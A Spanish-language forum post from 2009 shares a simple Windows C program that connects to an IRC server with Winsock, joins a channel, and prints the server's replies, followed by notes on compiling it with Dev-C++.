/** Coded By: S[e]C         **/
/** Date      : 2009          **/
/** *********************/
#include <stdio.h>
#include <string.h>
#include <conio.h>
#include <winsock2.h>

#define PORT 6667
#define SERVER "irc.freenode.net"

int sock;

int main(void)
{
    WSADATA wsa_;
    SOCKET sock;
    struct hostent *host;
    struct sockaddr_in direc;
    char buffer[8192];
    char peticion1[]="NICK Txus_\r\n";
    char peticion2[]="USER Bot_Txus\r\n";
    char peticion3[]="JOIN #txus_sala\r\n";
    int len1=strlen(peticion1),len2=strlen(peticion2),len3=strlen(peticion3);
    int i;   
    WSAStartup(MAKEWORD(2,2),&wsa_);
    host=gethostbyname(SERVER);
    sock=socket(AF_INET,SOCK_STREAM,0);
    if(sock==-1)
    {
      fprintf(stdout,"Error al crear socket\n");
      return (-1);
    }
   
    direc.sin_family=AF_INET;
    direc.sin_port=htons(PORT);
    direc.sin_addr=*((struct in_addr *)host->h_addr);
    memset(direc.sin_zero,0,8);
   
    if (connect(sock, (struct sockaddr *)&direc,sizeof(struct sockaddr)) == -1)
    {
              fprintf(stdout,"Error al conectar al servidor\n");
              return (-1);
    }
            send(sock, peticion1, len1, 0);
            printf("Sent nick\n");
            send(sock, peticion2, len2, 0);
            printf("Sent user id\n");
            send(sock, peticion3, len3, 0);
            printf("Joining Channel\n");
    i=0;
    do
    {
        i = recv(sock, buffer, sizeof(buffer), 0);       
        fprintf(stdout,"%s",buffer);       
    } while (i != 0);
    getch();
    return 0;   
}


PD: Olvide decir, yo programo para windows normalmente... jeje =P

PD2: Esta probado compilado con Dev-cpp 4.9.9.2 y se debe agregar la siguiente linea al linker -lwsock32.

Saludos!